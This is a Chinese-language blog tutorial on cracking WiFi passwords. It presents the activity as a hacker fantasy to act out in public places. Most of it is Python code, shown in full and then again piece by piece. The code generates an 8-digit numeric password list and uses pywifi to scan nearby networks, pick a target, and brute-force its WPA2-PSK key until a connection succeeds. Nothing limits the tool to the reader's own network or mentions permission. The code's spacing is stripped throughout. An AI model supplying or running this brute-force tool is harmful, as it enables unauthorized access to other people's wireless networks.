WiFi破解应该是我们每个人都有的黑客梦,在某个公共区域,打开电脑,宛如黑客帝国里的操作一样,真帅,哈哈
首先假如WiFi密码是8位数,
1、首先我们需要生成一个密码本来记录所有的可能的热点密码,这个密码本中,需要列举所有的密码的可能性;
2、然后,用Python进行自动化的测试密码直到连接成功为止。
一、代码实现
1、生成密码本
密码本的生成其实比较的简单了啦。
思路其实就是对8个位置循环生成0,1。。。。。9的数字。
具体的代码如下:(8个循环嵌套)
importosfile_name="making_pwd.txt"f=open(file_name,"w+")#打开文件foriinrange(10):#第一层循环forjinrange(10):#第二层循环forkinrange(10):#第三层循环forqinrange(10):#第四层循环forminrange(10):#第五层循环forninrange(10):#第六层循环foroinrange(10):#第七层循环forpinrange(10):#第八层循环insert_str=str(i)+str(j)+str(k)+str(q)+\str(m)+str(n)+str(o)+str(p)#数据的拼接以及数据类型的转换。print(insert_str)f.write(insert_str)#写入密码f.write("\n")#一个密码换一次行f.close()#关闭文件print("一个密码本生成完毕了!")
核心代码就是这个循环嵌套,本质也是十分简单的啦:
下面再展示一遍核心代码
file_name="making_pwd.txt"f=open(file_name,"w+")#打开文件foriinrange(10):#第一层循环forjinrange(10):#第二层循环forkinrange(10):#第三层循环forqinrange(10):#第四层循环forminrange(10):#第五层循环forninrange(10):#第六层循环foroinrange(10):#第七层循环forpinrange(10):#第八层循环insert_str=str(i)+str(j)+str(k)+str(q)+\str(m)+str(n)+str(o)+str(p)#数据的拼接以及数据类型的转换。print(insert_str)f.write(insert_str)#写入密码f.write("\n")#一个密码换一次行f.close()
这样生成的文件比较大,但是也没有办法了:
2、利用密码本进行自动化的测试
首先说一句,我们需要安装pywifi这个模块,没有这个模块的小伙伴可以先安装一下。
然后,我们呢,直接上完整的全部的代码,代码的解析在注释里面都有,注释有详细的代码解释:
importpywifiimporttimefrompywifiimportconst#导入模块#WiFi扫描模块defwifi_scan():#初始化wifiwifi=pywifi.PyWiFi()#使用第一个无线网卡interface=wifi.interfaces()[0]#开始扫描interface.scan()#显示扫描的信息。foriinrange(4):time.sleep(1)print('\r扫描可用WiFi中,请稍后。。。('+str(3-i),end=')')print('\r扫描完成!\n'+'-'*38)print('\r{:4}{:6}{}'.format('编号','信号强度','wifi名'))#扫描结果,scan_results()返回一个集,存放的是每个wifi对象bss=interface.scan_results()#存放wifi名的集合wifi_name_set=set()forwinbss:#解决乱码问题wifi_name_and_signal=(100+w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)#存入列表并按信号排序wifi_name_list=list(wifi_name_set)wifi_name_list=sorted(wifi_name_list,key=lambdaa:a[0],reverse=True)num=0#格式化输出whilenum<len(wifi_name_list):print('\r{:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))num+=1print('-'*38)#返回wifi列表returnwifi_name_list#WIFI破解模块defwifi_password_crack(wifi_name):#字典路径wifi_dic_path=input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")withopen(wifi_dic_path,'r')asf:#遍历密码forpwdinf:#去除密码的末尾换行符pwd=pwd.strip('\n')#创建wifi对象wifi=pywifi.PyWiFi()#创建网卡对象,为第一个wifi网卡interface=wifi.interfaces()[0]#断开所有wifi连接interface.disconnect()#等待其断开whileinterface.status()==4:#当其处于连接状态时,利用循环等待其断开pass#创建连接文件(对象)profile=pywifi.Profile()#wifi名称profile.ssid=wifi_name#需要认证profile.auth=const.AUTH_ALG_OPEN#wifi默认加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher=const.CIPHER_TYPE_CCMP#wifi密码profile.key=pwd#删除所有wifi连接文件interface.remove_all_network_profiles()#设置新的wifi连接文件tmp_profile=interface.add_network_profile(profile)#开始尝试连接interface.connect(tmp_profile)start_time=time.time()whiletime.time()-start_time<1.5:#接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)ifinterface.status()==4:print(f'\r连接成功!密码为:{pwd}')exit(0)else:print(f'\r正在利用密码{pwd}尝试破解。',end='')#主函数defmain():#退出标致exit_flag=0#目标编号target_num=-1whilenotexit_flag:try:print('WiFi万能钥匙'.center(35,'-'))#调用扫描模块,返回一个排序后的wifi列表wifi_list=wifi_scan()#让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理choose_exit_flag=0whilenotchoose_exit_flag:try:target_num=int(input('请选择你要尝试破解的wifi:'))#如果要选择的wifi编号在列表内,继续二次判断,否则重新输入iftarget_numinrange(len(wifi_list)):#二次确认whilenotchoose_exit_flag:try:choose=str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))#对用户输入进行小写处理,并判断ifchoose.lower()=='y':choose_exit_flag=1elifchoose.lower()=='n':break#处理用户其它字母输入else:print('只能输入Y/N哦o(* ̄︶ ̄*)o')#处理用户非字母输入exceptValueError:print('只能输入Y/N哦o(* ̄︶ ̄*)o')#退出破解ifchoose_exit_flag==1:breakelse:print('请重新输入哦(*^▽^*)')exceptValueError:print('只能输入数字哦o(* ̄︶ ̄*)o')#密码破解,传入用户选择的wifi名称wifi_password_crack(wifi_list[target_num][1])print('-'*38)exit_flag=1exceptExceptionase:print(e)raiseeif__name__=='__main__':#main函数进行一个测试main()
这里需要注意下,我们需要手动选择密码本来进行测试,手动选择密码本!!
下面我们分模块进行展示与解说:
导入模块:
importpywifiimporttimefrompywifiimportconst#导入模块
这个是定义的使用的扫描WiFi的一个方法,这个方法实现的功能是扫描局域网范围内部的所有可以连接的WiFi,然后打印出来:
#WiFi扫描模块defwifi_scan():#初始化wifiwifi=pywifi.PyWiFi()#使用第一个无线网卡interface=wifi.interfaces()[0]#开始扫描interface.scan()#显示扫描的信息。foriinrange(4):time.sleep(1)print('\r扫描可用WiFi中,请稍后。。。('+str(3-i),end=')')print('\r扫描完成!\n'+'-'*38)print('\r{:4}{:6}{}'.format('编号','信号强度','wifi名'))#扫描结果,scan_results()返回一个集,存放的是每个wifi对象bss=interface.scan_results()#存放wifi名的集合wifi_name_set=set()forwinbss:#解决乱码问题wifi_name_and_signal=(100+w.signal,w.ssid.encode('raw_unicode_escape').decode('utf-8'))wifi_name_set.add(wifi_name_and_signal)#存入列表并按信号排序wifi_name_list=list(wifi_name_set)wifi_name_list=sorted(wifi_name_list,key=lambdaa:a[0],reverse=True)num=0#格式化输出whilenum<len(wifi_name_list):print('\r{:<6d}{:<8d}{}'.format(num,wifi_name_list[num][0],wifi_name_list[num][1]))num+=1print('-'*38)#返回wifi列表returnwifi_name_list
这个是使用密码本来进行密码的自动化测试的函数:
#WIFI破解模块defwifi_password_crack(wifi_name):#字典路径wifi_dic_path=input("请输入本地用于WIFI暴力破解的密码字典(txt格式,每个密码占据1行)的路径:")withopen(wifi_dic_path,'r')asf:#遍历密码forpwdinf:#去除密码的末尾换行符pwd=pwd.strip('\n')#创建wifi对象wifi=pywifi.PyWiFi()#创建网卡对象,为第一个wifi网卡interface=wifi.interfaces()[0]#断开所有wifi连接interface.disconnect()#等待其断开whileinterface.status()==4:#当其处于连接状态时,利用循环等待其断开pass#创建连接文件(对象)profile=pywifi.Profile()#wifi名称profile.ssid=wifi_name#需要认证profile.auth=const.AUTH_ALG_OPEN#wifi默认加密算法profile.akm.append(const.AKM_TYPE_WPA2PSK)profile.cipher=const.CIPHER_TYPE_CCMP#wifi密码profile.key=pwd#删除所有wifi连接文件interface.remove_all_network_profiles()#设置新的wifi连接文件tmp_profile=interface.add_network_profile(profile)#开始尝试连接interface.connect(tmp_profile)start_time=time.time()whiletime.time()-start_time<1.5:#接口状态为4代表连接成功(当尝试时间大于1.5秒之后则为错误密码,经测试测正确密码一般都在1.5秒内连接,若要提高准确性可以设置为2s或以上,相应暴力破解速度就会变慢)ifinterface.status()==4:print(f'\r连接成功!密码为:{pwd}')exit(0)else:print(f'\r正在利用密码{pwd}尝试破解。',end='')
这个函数是进行实际的操作来实现我们所想要的功能。
#主函数defmain():#退出标致exit_flag=0#目标编号target_num=-1whilenotexit_flag:try:print('WiFi万能钥匙'.center(35,'-'))#调用扫描模块,返回一个排序后的wifi列表wifi_list=wifi_scan()#让用户选择要破解的wifi编号,并对用户输入的编号进行判断和异常处理choose_exit_flag=0whilenotchoose_exit_flag:try:target_num=int(input('请选择你要尝试破解的wifi:'))#如果要选择的wifi编号在列表内,继续二次判断,否则重新输入iftarget_numinrange(len(wifi_list)):#二次确认whilenotchoose_exit_flag:try:choose=str(input(f'你选择要破解的WiFi名称是:{wifi_list[target_num][1]},确定吗?(Y/N)'))#对用户输入进行小写处理,并判断ifchoose.lower()=='y':choose_exit_flag=1elifchoose.lower()=='n':break#处理用户其它字母输入else:print('只能输入Y/N哦o(* ̄︶ ̄*)o')#处理用户非字母输入exceptValueError:print('只能输入Y/N哦o(* ̄︶ ̄*)o')#退出破解ifchoose_exit_flag==1:breakelse:print('请重新输入哦(*^▽^*)')exceptValueError:print('只能输入数字哦o(* ̄︶ ̄*)o')#密码破解,传入用户选择的wifi名称wifi_password_crack(wifi_list[target_num][1])print('-'*38)exit_flag=1exceptExceptionase:print(e)raisee
执行代码的一个接口:
if__name__=='__main__':#main函数进行一个测试main()
3、结果展示
四、后续总结
以上呢,就是我们的使用Python工具Pycharm来进行破解WiFi的密码的一个案例的介绍,这种方式比较傻瓜式而且暴力,遇到复杂的密码可能就不行了,耗时太多。